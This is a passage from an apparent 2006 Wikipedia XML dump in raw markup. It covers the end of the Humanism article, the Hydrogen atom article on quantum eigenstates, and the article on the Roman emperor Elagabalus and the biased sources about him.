Humanism is also sometimes used to describe &quot;humanities&quot; scholars, (particularly scholars of the Greco-Roman classics). As mentioned above, it is sometimes used to mean humanitarianism. There is also a school of [[humanistic psychology]], and an educational method.

=== Educational humanism ===

Humanism, as a current in [[education]], began to dominate school systems in the 17th century.  It held that the studies that develop our intellect are those that make us &quot;most truly human&quot;. The practical basis for this was [[faculty psychology]], or the belief in distinct intellectual faculties, such as the analytical, the mathematical, the linguistic, etc.  Strengthening one faculty was believed to benefit other faculties as well (transfer of training).  A key player in the late 19th-century educational humanism was U.S. Commissioner of Education W.T. Harris, whose &quot;Five Windows of the Soul&quot; ([[mathematics]], [[geography]], [[history]], [[grammar]], and [[literature]]/[[art]]) were believed especially appropriate for &quot;development of the faculties&quot;.  Educational humanists believe that &quot;the best studies, for the best kids&quot; are &quot;the best studies&quot; for all kids.  While humanism as an educational current was largely discredited by the innovations of the early 20th century, it still holds out, in some elite preparatory schools and some high school disciplines (especially, in [[literature]]).

== See also ==

* [[List of humanists]]

===Manifestos and statements setting out humanist viewpoints ===

* [[Humanist Manifesto]]
* [[Amsterdam Declaration 2002]]
* [[A Secular Humanist Declaration]]

=== Forms of humanism ===

* [[Marxist humanism]]
* [[New Humanism]]
* [[Posthumanism]]
* [[Religious Humanism|Religious humanism]]
** [[Christian existential humanism]]
** [[Humanistic Judaism]]
* [[Renaissance humanism]]
* [[Secular humanism]]
* [[Transhumanism]]

=== Related philosophies ===

* [[Extropianism]]
* [[Pragmatism]]
* [[Rationalism]]

=== Organizations ===

* [[American Humanist Association]]
* [[British Humanist Association]]
* [[Humanist International]]
* [[Humanist Movement]]
* [[Humanist Party]]
* [[Institute for Humanist Studies]]
* [[International Humanist and Ethical Union]] (IHEU)
* [[Rationalist International]]
* [[Speciesism]]

=== Other ===

* [[Antihumanism]]
* [[Humanistic psychology]]
* [[Social psychology]]
* [[Religious freedom]] — freedom of religion ''and'' belief

== References ==

*{{fnb|1}}[[Nicolas Walter|Walter, Nicolas]], 1997 ''Humanism — What's in the Word'' [[Rationalist Press Association]], London, ISBN 0-301-97001-7.
*Petrosyan, M. 1972 ''Humanism: Its Philosophical, Ethical, and Sociological Aspects''. Moscow: Progress Publishers.  

== Web resources ==

=== Manifestos and statements setting out humanist viewpoints===
* [http://www.americanhumanist.org/3/HumandItsAspirations.php Humanist Manifesto]
* [http://www.iheu.org/amsterdamdeclaration Amsterdam Declaration 2002]
* [http://www.secularhumanism.org/index.php?section=main&amp;page=declaration A Secular Humanist Declaration].

=== Introductions to humanism ===

* www.sterlingharwood.com and Sterling Harwood, &quot;Why Be Moral: A Definition and Defense of Humanism,&quot; in Sterling Harwood, ed., Business as Ethical and Business as Usual (Belmont, CA: Wadsworth Publishing Co., 2000), pp. 84-85.
* [http://www.jcn.com/humanism.html ''What Is Humanism?''] from the [[American Humanist Association]]
* [http://MHEC.humanists.net/HUMNISM.HTM Humanism: Why, What, and What For, In 882 Words]
* [http://plato.stanford.edu/entries/humanism-civic/ Stanford Encyclopedia of Philosophy entry on Civic Humanism]
* [http://www.newadvent.org/cathen/07538b.htm Catholic Encyclopedia article on Renaissance Humanism]

=== Organizations ===

* [http://www.americanhumanist.org/ American Humanist Association]
* [http://www.humanism.org.uk  British Humanist Association]
* [http://www.centerforinquiry.net  Center for Inquiry International]
* [http://www.humanistcenterofcultures.org/wiki/wiki.cgi Chicago humanist wiki pages]
* [http://www.secularhumanism.org  Council for Secular Humanism]
* [http://www.spiritualhumanism.org/ The Church of Spiritual Humanism]
* [http://www.humaniststudies.org/ Institute for Humanist Studies] 
* [http://mb.humanists.ca  Humanist Association of Manitoba]
* [http://canada.humanists.net Humanist Association of Canada]
* [http://www.neuer-humanismus.de/ Humanist Movement — German]
* [http://www.humanist-net.org Humanist n.e.t. — German/ English]
* [http://nireland.humanists.net/ Humanist Association of N. Ireland]
* [http://www.irish-humanists.org/ Humanist Association of Ireland]
* [http://www.americanhumanist.org/hsfamily/huumanist.html HUUmanists, Unitarian Universalist publishers of the journal ''Religious Humanism'']
* [http://www.iheu.org  International Humanist and Ethical Union]
* [http://www.iheyo.org/ International Humanist and Ethical Youth Organisation]
* [http://www.human.no/ Norwegian Humanist Association]
* [http://www.rationalistinternational.net  Rationalist International]
* [http://www.humanism.ro Romanian association Solidarity for Freedom of Conscience  — Romanian/ English]

=== Web articles ===

* [http://www.sterlingharwood.com Sterling Harwood, &quot;Why Be Moral? A Definition and Defense of Humanism.&quot;]
* [http://www.newhumanist.org.uk/ ''New Humanist''] British magazine from the Rationalist Press Association (RPA)
* [http://www.TheSystemHasYou.com/ Nanovirus — A humanist perspective on politics, technology and culture]

=== Web books ===

* [http://www.humanisteurope.org/ European Region of the Humanist International]
and [http://en.wikibooks.org/wiki/Thinking_And_Moral_Problems Thinking And Moral Problems], [http://en.wikibooks.org/wiki/Religions_And_Their_Source Religions And Their Source], [http://en.wikibooks.org/wiki/Purpose Purpose], and [http://en.wikibooks.org/wiki/Developing_A_Universal_Religion Developing A Universal Religion], four Parts of a Wikibook.

=== Web directories ===

* [http://dmoz.org/Society/Religion_and_Spirituality/Humanism/ Open Directory Project — Humanism] directory category
* [http://dir.yahoo.com/Arts/Humanities/Philosophy/Humanism/ Yahoo — Humanism] directory category

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  </page>
  <page>
    <title>Hydrogen atom</title>
    <id>14225</id>
    <revision>
      <id>39232429</id>
      <timestamp>2006-02-11T18:51:23Z</timestamp>
      <contributor>
        <ip>128.186.18.94</ip>
      </contributor>
      <comment>/* Mathematical summary of eigenstates of hydrogen atom */</comment>
      <text xml:space="preserve">&lt;!-- Here is the template for this nuclide; skip past it to edit the text. --&gt;{{Stable_Isotope|
isotope_name =     Hydrogen-1|
isotope_filename = hydrogen-1.png|
alternate_names =  protium|
mass_number =      1|
symbol =           H|
num_neutrons =     0|
num_protons =      1|
abundance =        99.985%|
mass =             1.00794|
spin =             &amp;#xBD;+|
excess_energy =    7288.969|
error1 =           0.001|
binding_energy =   0.000|
error2 =           0.000|
}}A '''[[hydrogen atom]]''' is an [[atom]] of the element [[hydrogen]]. It is composed of a single negatively-charged [[electron]], attending a positively-charged [[proton]] which is the [[Atomic nucleus|nucleus]] of the hydrogen atom. The electron is bound to the proton by the [[Coulomb force]].

The hydrogen atom has special significance in [[quantum mechanics]] as a simple physical system for which an exact solution to the [[Schrödinger equation]] exists, from which the experimentally observed frequencies and intensities of the hydrogen [[spectral line]]s can be calculated. 

In 1913, [[Niels Bohr]] had deduced the spectral frequencies of the hydrogen atom making several assumptions (see [[The Bohr Model]]). The results of Bohr for the frequencies and underlying energy values are confirmed by the full quantum-mechanical analysis which uses the Schrödinger equation, as was shown in 1925/26. The full analysis goes further, because it also yields the shape of the electron's wave function (&quot;orbital&quot;) for the different possible quantum-mechanical states. This allows determination of the intensity of spectral lines (which correspond to transitions between these states), among other things. In addition, the full analysis is applicable also to more complicated atoms with more than one electron, as well as [[molecule]]s etc. However, in all of these cases approximations have to be made and computer calculations are usually necessary.

== Solution of Schrödinger equation: Overview of results ==

The solution of the Schrödinger equation for the hydrogen atom uses the fact that the [[Coulomb potential]] produced by the nucleus is [[isotropic]] (it only depends on the distance to the nucleus). Although the resulting [[energy eigenfunctions]] (the &quot;orbitals&quot;) are not necessarily isotropic themselves, their dependence on the [[angular coordinates]] follows completely generally from this isotropy of the underlying potential: The states are not only [[eigenstates]] of the [[Hamiltonian (quantum mechanics)|Hamiltonian]], but also eigenstates of the [[angular momentum operator]]. This corresponds to the fact that angular momentum is conserved in the [[orbital motion (quantum)|orbital motion]] of the electron around the nucleus. Therefore, the energy eigenstates may be classified by two angular momentum [[quantum number]]s, ''l'' and ''m'' (integer numbers). The &quot;angular momentum&quot; quantum number ''l'' = 0, 1, 2, ... determines the magnitude of the angular momentum. The &quot;magnetic&quot; quantum number ''m'' = &amp;minus;''l'', .., +''l'' 
determines the projection of the angular momentum on the (arbitrarily chosen) ''z''-axis.

In addition, the radial dependence of the wave functions has to be found. It is only here that the details of the 1/''r'' Coulomb potential enter (leading to [[Laguerre polynomials]] in ''r''). This leads to a third quantum number, the principal quantum number ''n'' = 1, 2, 3, ... 
Note that the angular momentum quantum number can run only up to ''n'' &amp;minus; 1, i.e. ''l'' = 0, 1, ..., ''n'' &amp;minus; 1.

Due to angular momentum conservation, states of the same l but different m have the same energy (this holds for all problems with [[rotational symmetry]]). In addition, for the hydrogen atom, the states of the same n are also [[degenerate]] (i.e. they have the same energy); but this is a specialty and it is no longer true for more complicated atoms which have an (effective) potential differing from the form 1/''r'' (due to the presence of the inner electrons shielding the nucleus potential). 

Taking into account the [[spin]] of the electron adds a last quantum number, the projection of the electrons spin along the z axis, which can take on two values. Therefore, any eigenstate of the electron in the hydrogen atom is described fully by four quantum numbers. According to the usual rules of quantum mechanics, the actual state of the electron may be any [[quantum superposition|superposition]] of these states. This explains also why the choice of z-axis for the [[quantization (physics)|quantization]] of angular momentum is immaterial: An orbital of given l and m' obtained for another preferred axis z' can always be represented as a suitable superposition of the various states of different m (but same l) that have been obtained for z.

== Mathematical summary of eigenstates of hydrogen atom ==
{{main|hydrogen-like atom}}
The normalized position [[wavefunction]]s, given in [[spherical coordinates]] are:
::&lt;math&gt; \psi_{nlm}(\theta,\phi,r) = \sqrt {{\left (  \frac{2}{n a_0} \right )}^3\frac{(n-l-1)!}{2n[(n+l)!]} } e^{- \rho / 2} \rho^{l} L_{n-l-1}^{2l+1}(\rho) \cdot Y_{l,m}(\theta, \phi ) &lt;/math&gt;
where:
* &lt;math&gt; \rho = {2r \over {a_0}} &lt;/math&gt; and ''a''&lt;sub&gt;0&lt;/sub&gt; is the [[Bohr radius]].
* &lt;math&gt; L_{n-l-1}^{2l+1}(\rho) &lt;/math&gt; are the [[Generalized Laguerre polynomials]] of degree ''n''&lt;sub&gt;r&lt;/sub&gt;.
* &lt;math&gt; Y_{l,m}(\theta, \phi ) &lt;/math&gt; is a [[spherical harmonic]].

The [[eigenvalue]]s are:
* For [[Angular momentum operator]]:
:: &lt;math&gt; L^2 | n, l, m \rang = {\hbar}^2 l(l+1) | n, l, m \rang &lt;/math&gt;
:: &lt;math&gt; L_z | n, l, m \rang = \hbar m | n, l, m \rang &lt;/math&gt;
* For the [[Hamiltonian (quantum mechanics)|Hamiltonian]]:
:: &lt;math&gt; H| n, l, m \rang = E_n | n, l, m \rang &lt;/math&gt;
:where
:: &lt;math&gt; E_n = -{{m c^2 Z^2 \alpha^2} \over {2 \cdot n^2}} &lt;/math&gt; and &amp;alpha; is the [[fine structure constant]] and in [[hydrogen atom]] ''Z''=1.

== Visualizing the hydrogen electron orbitals ==
[[image:HAtomOrbitals.png|frame|Probability densities for the electron at different quantum numbers (l)]]
The image to the right shows the first few hydrogen atom orbitals (energy eigenfunctions). These are cross-sections of the [[probability density]] that are color-coded (black=zero density, white=highest density). The angular momentum quantum number l is denoted in each column, using the usual spectroscopic letter code (&quot;s&quot; means ''l'' = 0; &quot;''p''&quot;: ''l'' = 1; &quot;''d''&quot;: ''l'' = 2). The main quantum number ''n'' (= 1, 2, 3, ...) is marked to the right of each row. For all pictures the magnetic quantum number ''m'' has been set to 0, and the cross-sectional plane is the ''xz''-plane (''z'' is the vertical axis). The probability density in three-dimensional space is obtained by rotating the one shown here around the ''z''-axis.

The &quot;[[ground state]]&quot;, i.e. the state of lowest energy, in which the electron is usually found, is the first one, the &quot;1s&quot; state (''n'' = 1, ''l'' = 0).

[[media:HAtomOrbitals2.png|An image with more orbitals]] is also available (up to higher numbers ''n'' and l).

Note the number of black lines that occur in each but the first orbital. These are &quot;[[nodal line]]s&quot; (which are actually  [[nodal surface]]s in three dimensions). Their total number is always equal to ''n'' &amp;minus; 1, which is the sum of the number of radial nodes (equal to ''n'' - ''l'' - 1) and the number of angular nodes (equal to ''l'').

== Features going beyond the Schrödinger solution ==

There are several important effects that are neglected by the Schrödinger equation and which are responsible for certain small but measurable deviations of the real spectral lines from the predicted ones:

* Although the effective speed of the electron is only 1/10th of the [[speed of light]] (when ''l'' &gt; 0) there is an increase in the electron's mass, as predicted by [[special relativity]].  For heavier elements, this is more significant (see [http://www.chem1.com/acad/webtut/atomic/qprimer/#Q26]).
* The spin of the electron has a [[magnetic moment]] attached to it. Even when there is no external [[magnetic field]], within the [[inertial frame]] of the moving electron the electric field of the nucleus partly acts like a magnetic field. This effect is also explained by special relativity, and it leads to the so-called ''[[spin-orbit coupling]]'', i.e. an influence of the electron's [[orbital motion (quantum)|orbital motion]] around the nucleus onto its [[spin (physics)|spin]].

Both of these features (and more) are incorporated in the relativistic [[Dirac equation]], whose predictions come still closer to experiment. It can still be solved exactly for the hydrogen atom. The resulting states now must be classified by the [[Total angular momentum quantum number|total angular momentum number]] ''j'' (arising through the coupling between [[electron spin]] and [[orbital angular momentum]]). States of the same j and the same n are still degenerate.

* There are always [[vacuum fluctuation]]s of the [[electromagnetic field]], according to quantum mechanics. This means in particular that the electron undergoes a kind of &quot;jitter&quot; motion. As a consequence, the degeneracy between states of the same j but different l is lifted. This has been demonstrated in the famous [[Lamb-Rutherford experiment]] and was the starting point for the development of the theory of [[Quantum electrodynamics]] (which is able to deal with these vacuum fluctuations and employs the famous [[Feynman diagram]]s for approximations using [[perturbation theory (quantum mechanics)|perturbation theory]]). This effect is now called [[Lamb shift]]

For these developments, it was essential that the solution of the Dirac equation for the hydrogen atom could be worked out exactly, such that any experimentally observed deviation had to be taken seriously as a signal of failure of the theory.

{{Isotope|element=[[Hydrogen]]
|lighter=(no lighter isotopes)
|heavier=[[Hydrogen-2]]
|before=See [[proton emission]]
|after=Stable
}}

==References==
*[http://atom.kaeri.re.kr/ Nuclear Data Evaluation Lab]
In the 1970's a group of scientists showed that many of these effects that were blamed on vacuum fluctuations[like lamb shift,spontaneous emission etc] can also be explained from the notion of radiation reaction.

==External links==
*[http://scienceworld.wolfram.com/physics/HydrogenAtom.html Physics of hydrogen atom on Scienceworld]
*[http://webphysics.davidson.edu/faculty/dmb/hydrogen/ Interactive graphical representation of orbitals]
*[http://www.falstad.com/qmatom/ Applet which allows viewing of all sorts of hydrogenic orbitals]

[[Category:Atoms]]
[[Category:Quantum models]]
[[Category:Hydrogen|Atom]]

[[ca:Proti]]
[[de:Wasserstoffatom]]
[[sl:Atom vodika]]</text>
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  </page>
  <page>
    <title>Elagabalus</title>
    <id>14227</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>39991276</id>
      <timestamp>2006-02-17T09:11:19Z</timestamp>
      <contributor>
        <ip>194.224.227.80</ip>
      </contributor>
      <text xml:space="preserve">{{featured article}}
[[Image:Elagabalus.JPG|thumb|right|A bust depicting Elagabalus.]]
'''Elagabalus''' or '''Heliogabalus''' (c. [[203]]&amp;ndash;[[March 11]], [[222]]),  born '''Varius Avitus Bassus''' and also known as '''Varius Avitus Bassianus Marcus Aurelius Antoninus''', was a [[Roman Emperors|Roman emperor]] of the [[Severan dynasty]] who reigned from [[218]] to 222.  Elagabalus was and is one of the most controversial Roman emperors. During his reign he showed a disregard for Roman religious traditions and sexual [[taboo]]s. Elagabalus' name is a Latinized form of the Semitic deity El-Gabal, a manifestation of the Semitic deity [[El (god)|&amp;#274;l]]. He replaced [[Jupiter (god)|Jupiter]], head of the [[Roman mythology|Roman pantheon]], with a new god, ''[[Sol invictus|Deus Sol Invictus]]'', which in Latin means &quot;the Sun, God Unconquered&quot;. Elagabalus forced leading members of Rome's government to participate in religious rites celebrating Sol invictus which he personally led.

He also took a [[Vestal Virgin]] as one of a succession of wives and openly boasted that his sexual interest in men was more than just a casual pastime, as it had been for previous emperors. 

Elagabalus developed a reputation among his contemporaries for eccentricity, decadence, and zealotry which was likely exaggerated by his successors. This black propaganda was passed on and as such he was one of the most reviled Roman emperors to early [[Christian]] historians and later became a hero to the [[decadence|Decadent]] movement of the late [[19th century]].

==Family==
Elagabalus was the son of [[Sextus Varius Marcellus]] and [[Julia Soaemias|Julia Soaemias Bassiana]]. His father was initially a member of the [[equites]] class but was later elevated to the rank of [[Roman Senate|senator]]. His grandmother [[Julia Maesa]] was the widow of the [[Consul]] [[Julius Avitus]], the sister of [[Julia Domna]], and the sister-in-law of Emperor [[Septimius Severus]]. Julia Soaemias was a cousin of [[Caracalla]]. Other relatives included his aunt [[Julia Avita Mamaea]] and uncle [[Gessius Marcianus]] and their son [[Severus Alexander]]. Elagabalus' family held hereditary rights to the priesthood of the sun god El-Gabal, of whom Elagabalus was the high priest at [[Emesa]] (modern [[Homs]]) in [[Syria]].

The name Elagabalus is a [[Latin]] form of the name of the Semitic god El-Gabal. The name originally referred to the patron deity of the emperor's birthplace, Emesa.  [[El (god)|El]] refers to the chief [[Semitic]] deity, while Gabal meaning mountain (compare with the [[Hebrew language|Hebrew]] ''gevul'' and [[Arabic language|Arabic]] ''jebel'') is his Emesene manifestation. The god became a sun god in Roman times by a confusion of the original Semitic name with the [[Greek language|Greek]] word ''helios'' (sun), resulting in the name variant Heliogabalus. High priests in antiquity were identified with the god they served, and thus the creation of the name Elagabalus.

==Rise to power==
[[Image:As Elagabalus 218-leg 3 Gallica.jpg|thumb|left|Coin minted to celebrate [[Legio III Gallica]], which supported Elagabalus rise to power.]]
When the Emperor [[Macrinus]] came to power he exiled Julia Maesa, her two daughters, and her eldest grandson, Elagabalus, to her estate at Emesa in [[Syria (Roman province)|Syria]]. She began a plot, with her [[eunuch]] advisor and Elagabalus' tutor [[Gannys]], to overthrow Macrinus almost upon arrival in Syria. She decided to elevate the fourteen year old Elagabalus as emperor. Elagabalus and his mother readily complied and announced, falsely, that he was the illegitimate son of Caracalla. After Julia Maesa displayed her wealth to the [[Legio III Gallica|III ''Gallica'']] at [[Raphana]] they swore allegiance to Elagabalus. At sunrise on [[May 16]], 218 [[Publius Valerius Comazon Eutychianus|P. Valerius Comazon Eutychianus]] declared him emperor. He assumed Caracalla's names, ''Marcus Aurelius Antoninus'', to strengthen his legitimacy through further propaganda.

Macrinus sent letters to the [[Roman Senate|Senate]] denouncing Elagabalus as the ''False Antoninus'' and claiming he was insane. Both [[consul]]s and other high ranking members of Rome's leadership, including a [[Praetorian Guard|Praetorian]], condemned him, and the Senate subsequently declared war on both Elagabalus and Julia Maesa. Macrinus and his son, weakened by the desertion of the [[Legio II Parthica|II ''Parthica'']] due to bribes and promises circulated by Julia Maesa, [[battle of Antioch (218)|were defeated]] on [[June 8]], 218 near [[Antioch]] by troops commanded by Gannys. Macrinus fled toward [[Italy]] disguised as a courier. He was captured near [[Chalcedon]] and later executed in [[Cappadocia]]. His son [[Diadumenianus]], sent for safety to the [[Parthia|Parthian]] court, was captured at [[Zeugma (city) | Zeugma]] and put to death.

Elagabalus declared the date of the victory at Antioch to be the beginning of his reign and assumed the imperial titles without prior Senatorial approval, which violated tradition but was a common practice among [[2nd century]] emperors nonetheless. Letters of reconciliation were dispatched to [[Rome]] extending amnesty to the Senate and recognizing the laws. He also condemned his predecessor in the letters: &quot;He undertook to disparage my age, when he himself had appointed his five-year-old son [emperor].&quot; 

The Senators responded by acknowledging him as emperor and accepting his claim to be the son of Caracalla. Caracalla and Julia Domna were both [[Imperial cult (Ancient Rome)|deified]] by the Senate, both Julia Maesa and Julia Soaemias were elevated to the rank of [[Augustus|Augustae]], and the memory of Macrinus and Diadumenianus was condemned and vilified by the Senate.

==Imperial power==
[[Image:Elagabalus coin.jpg|thumb|A coin commissioned by Elagabalus, bearing his likeness.]]
Elagabalus and his entourage spent the winter of 218 in [[Bithynia]] at [[Nicomedia]]. It was at Nicomedia that Elagabalus' religious beliefs first manifested as a problem. The local Roman citizens were disturbed by his practices and Gannys was killed while trying to suppress the ensuing riots. To help Romans adjust to the idea of having an oriental priest as emperor, Julia Maesa had a painting of Elagabalus in priestly robes sent to Rome and hung over a statue of the goddess [[Victoria (mythology)|Victoria]] in the [[Senate House]]. This placed Senators in the awkward position of having to make offerings to Elagabalus whenever they made offerings to Victoria.

Elagabalus was delayed in [[Asia Minor]] while brief revolts by the [[Legio III Gallica|Legio III ''Gallica'']], under the leadership of the senator [[Verus (senator)|Verus]], and the [[Legio IV Scythica|IV ''Scythica'']], under command of [[Gellius Maximus]], were crushed. When the entourage reached Rome in the Fall of [[219]], Comazon and other allies of Julia Maesa and Elagabalus were given powerful and lucrative positions, much to the outrage of many senators who did not consider them to be respectable. Comazon would serve as the city prefect of Rome three times and as consul twice. An official whose name solely survives as [[...atus]] was moved though various positions including [[Suffect consul]]. Elagabalus tried to have his presumed lover [[Hierocles (charioteer)|Hierocles]] declared [[Caesar (title)|Caesar]], while another alleged lover, [[Zoticus]], was appointed to the non-administrative but influential position of [[Cubicularius]]. His offer of amnesty for the Roman leadership was largely honored, though the [[jurist]] [[Ulpian]] was exiled.

The relationships between Julia Maesa, Julia Soaemias, and Elagabalus were strong, at first. His mother and grandmother became the first women to be allowed into the Senate, and both received Senatorial titles: Soaemias the established title of ''Clarissima'' and Maesa the more unorthodox ''Mater Castrorum et Senatus''. While Julia Maesa tried to position herself as the power behind the throne and subsequently the most powerful woman in the world, Elagabalus would prove to be highly independent, set in his ways, and impossible to control.

===Religious controversy===
[[Image:Bronze-Uranius Antoninus-Elagabal stone-SGI 4414.jpg|thumb|left|300px|The [[Emesa]] temple to the sun god ''El Gabal'', with the holy stone, on the reverse of this bronze coin by [[Roman usurper]] [[Uranius|Uranius Antoninus]].]]
Since the reign of [[Septimius Severus]] sun worship had increased throughout the Empire. Elagabalus saw this as an opportunity to set up his god, El-Gabal, as the chief deity of the [[Roman Pantheon]]. El-Gabal, renamed ''[[Sol invictus|Deus Sol Invictus]]'' or ''God the Invincible Sun'', was placed over even [[Jupiter (god)|Jupiter]]. As a sign of the union between the two religions, Elagabalus gave either [[Astarte]], [[Minerva]], [[Urania]], or some combination of the three, to El-Gabal as a wife.  Moreover, he himself married the [[Vestal Virgin]] [[Aquilia Severa]], provoking great outrage; he said he would have &quot;god-like children&quot; from the marriage. A temple to house El-Gabal, a black conical [[meteorite]], was built in Rome on the east face of the [[Palatine Hill]] and its foundations remain today. To become the high priest of El-Gabal, Elagabalus had himself circumcised. [[Herodian]] writes that Elagabalus forced senators to watch while he danced around the altar of El-Gabal to the sound of drums and cymbals and that each [[summer solstice]] became a great festival to El-Gabal popular with the masses because of its widely distributed food.  During this festival, Elagabalus placed El-Gabal:

:''&amp;hellip;in chariot adorned with gold and jewels and brought him out from the city to the suburbs. A six horse chariot carried the divinity, the horses huge and flawlessly white, with expensive gold fittings and rich ornaments. No one held the reins, and no one rode in the chariot; the vehicle was escorted as if the god himself were the charioteer. Elagabalus ran backward in front of the chariot, facing the god and holding the horses reins. He made the whole journey in this reverse fashion, looking up into the face of his god.''

===Sex/gender controversy===
Elagabalus' [[sexual orientation]] and [[gender identity]] are the source of much controversy and debate. Elagabalus married and divorced five women, three of whom are known. His first wife was [[Julia Cornelia Paula]], the second was the Vestal Virgin [[Aquilia Severa]], and another was [[Annia Faustina]] from the house of [[Marcus Aurelius]]. He later returned to Severa but according to a contemporary senator and historian, [[Cassius Dio]], his most stable relationship seems to have been with his chariot driver, a blond slave from [[Caria]] named [[Hierocles]], whom he referred to as his husband. Dio also wrote that Elagabalus used to:
:…''stand nude at the door of his room in the palace, as harlots do, and shake the curtain which hung from gold rings, while in a soft melting voice he solicited passers by.''

Herodian comments that Elagabalus hampered his natural good looks by wearing too much make up. Elagabalus has also often been characterized by modern writers as [[transgender]], most likely [[transsexual]].

He is described as having been &quot;delighted to be called the mistress, the wife, the Queen of Hierocles&quot; and is said to have offered half the Roman Empire to the physician who could equip him with female genitalia.{{rf|1|Benjamin}}

===Fall from power===
Elagabalus' eccentricities, especially his habit of forcing others to participate in his religious practices, weighed heavily on Julia Maesa's mind and she decided he and his mother, Julia Soaemias, who had encouraged his religious practices, had to be replaced. She turned to her other daughter [[Julia Avita Mamaea]] and her son, the thirteen year old [[Severus Alexander]], as alternatives. Maesa and Mamaea convinced Elagabalus to appoint Alexander as his heir. When he changed his mind later and ordered Alexander executed, Maesa and Mamaea bribed the [[Praetorian Guard]] before his orders could be carried out. Elagabalus and Julia Soaemias were murdered (according to the ''[[Historia Augusta]]'', in the Emperor's latrine) on March 11, 222; their bodies were dragged through the streets of Rome and the [[Cloaca Maxima]], and ultimately thrown into the [[Tiber]].

== After death ==
=== Biased historical sources ===
[[Image:The Roses of Heliogabalus by Alma-Tadema (1888), oil on canvas..jpg|right|thumb|350px|''The Roses of Heliogabalus'' by Alma-Tadema (1888), oil on canvas]]
After his death, Elagabalus' religious edicts were reversed and El-Gabal was returned to Emesa. Women were barred from ever attending meetings of the Senate, and a policy of [[damnatio memoriae]] &amp;mdash; condemning a person by erasing him or her from recorded existence &amp;mdash; was instituted.

A [[black propaganda]] campaign against Elagabalus, traditionally attributed to Julia Avitus Mamaea, was also instituted.  Many denigrating and false stories were circulated about him, and his eccentricities may have been exaggerated.  The most famous among these, immortalized in the [[19th century]] painting ''[[The Roses of Heliogabalus]],'' is that he smothered guests at a dinner to death with a mass of sweet-smelling rose petals dropped from above.   It is said also that Elagabalus would sometimes have a slave placed in a [[brazen bull]] while his dinner guests would be entertained by his dying screams.

The source of many of these stories of Elagabalus' debauchery is the ''[[Augustan History|Historia Augusta]]'', which scholarly consensus now feels to be unreliable in its details.  Although based on kernels of truth, the claim he was transgender or transsexual is also highly dubious. Many of his contemporaries felt that he only desired men; this factor has traditionally been cited as the cause of his downfall. Sources more credible than the ''Historia Augusta,'' such as Dio and Herodian, suggest that he was at least passively [[homosexuality|homosexual]], but to what extent, if any, is unknowable today. His zealous religious fervor seems to have been widely accepted and is not the subject of much debate today.

As to his acts of cruelty, some scholars point to the account of the [[Christian]] historian [[Sextus Julius Africanus]], whose request that Elagabalus rebuild his hometown of [[Emmaus]] ([[Nicopolis]]) was granted. It is also worth noting that the Senate granted him the rare honor [[Pater Patriae]] (&quot;father of the fatherland&quot;) and that he ruled longer than many of his predecessors, though his enemy and direct predecessor [[Macrinus]] also received the Pater Patriae and his successor Severus Alexander ruled longer.

=== Cultural influence ===
Due to these stories, Elagabalus became something of a hero to the [[decadence|Decadent]] movement in the late 19th century. He appears in many paintings and poems as the epitome of an amoral aesthete.  His life and character has inspired or at least informed many famous artworks, including the following:

* The Major-General's patter song in [[Gilbert and Sullivan]]'s [[comic opera]] ''[[The Pirates of Penzance]]'' ([[1879]]), in which he brags of being able to &quot;quote in [[elegiac]]s / all the crimes of Heliogabalus&quot;;
* The painting ''[[The Roses of Heliogabalus]]'' ([[1888]]), by the Anglo-Dutch academician Sir [[Lawrence Alma-Tadema]];
* A collection of poems by the [[German language|German]] poet [[Stefan George]] which he entitled ''[[Algabal]]'' ([[1892]]-[[1919]]);
* The painting ''[[Heliogabalus, High Priest of the Sun]]'' ([[1886]]), by the English decadent [[Simeon Solomon]], once a close friend of [[Algernon Charles Swinburne]];
* The novel ''[[L'Agonie]]'' (''Agony'') ([[1889]]), by the French writer [[Jean Lombard]];
* The novel ''[[The Sun God]]'' ([[1904]]), by the English writer [[Arthur Westcott]];
* The novel ''[[De Berg van Licht]]'' (''The Mountain of Light'') ([[1905]]), by the Dutch writer [[Louis Couperus]];
* the silent movie [[Héliogabale]] ([[1909]]) by the French director André Calmettes;
* A biography, ''[[The Amazing Emperor Heliogabalus]]'' ([[1911]]), by the Oxford don [[John Stuart Hay]];
* the short silent movie ''[[Héliogabale, ou L'orgie romaine]]'' ([[1911]]) by the French director Louis Feuillade;
* The essay ''[[Héliogabale ou l'Anarchiste couronné]]'' (''Heliogabalus, or the Crowned Anarchist'') ([[1934]]), by the French [[surrealism|surrealist]] [[Antonin Artaud]];
* The novel ''[[Family Favourites]]'' ([[1960]]), by the Anglo-Argentine writer [[Alfred Duggan]];
* The novel ''[[Child of the Sun]]'' ([[1966]]), by [[Lance Horner]] and [[Kyle Onstott]], who were more famous for writing the novel behind the movie ''[[Mandingo]]'';
* An orchestral work, ''[[Heliogabalus Imperator]]'' (''Emperor Heliogabalus'') ([[1972]]), by the German composer [[Hans Werner Henze]] ([[1926]]&amp;ndash;  );
* A mention in [[Kurt Vonnegut]]'s book ''[[Breakfast of Champions]]'' ([[1973]]);
* A mention in [[Danish language|Danish]] writer [[Peter Laugesen]]'s novel ''Guds ord fra landet'' ([[1974]]);
* The CD ''Eliogabalus'' ([[1990]]) by the band [[Devil Doll]];
* The 24-hour comic ''Being an Account of the Life and Death of the Emperor Heliogabulus'' ([[1991]]) by [[Neil Gaiman]];
* The French experimental rock band [[Héliogabale]] (first album, ''Yolk,'' released in [[1995]]);
* A song on the global musician [[Momus]] (aka [[Nick Currie]])'s 2001 album ''[[Folktronic]].''
*The Novel ''Super-Eliogabalo'' by the Italian writer Alberto Arbasino (1969)

==See also==
{{wikiquote}}
*[[Severan dynasty family tree]]

== References ==

*Harry Benjamin - &quot;[http://www.symposion.com/ijt/benjamin/ The Transsexual Phenomenon]&quot;  The Julain Press, inc.  New York 1966, link verified 2005-04-27
*Michael Grant, ''The Roman Emperors'', Barnes &amp; Noble, 1997, hardback, pages 126-130, ISBN 0-76070-091-5
*Catholic Encyclopedia at [http://www.newadvent.org/cathen/07206b.htm newadvent.org] Retrieved March 26, 2005. 
*Jerry Fielden, ''Antoninus Elagabalus and his relationship with the Senate'',  [http://www.jerryfielden.com/essays/elagabalus.htm jerryfielden.com], 2000, Retrieved March 26, 2005
*''[[Augustan History|Historia Augusta]]'' Trans. Anthony Birley as ''Lives of the later Caesars''. Harmondsworth: Penguin, 1976. ISBN 0140443088
*[[Dio Cassius]], ''Roman History'', Book 79
*[[Herodian]], Book 5

==Note==
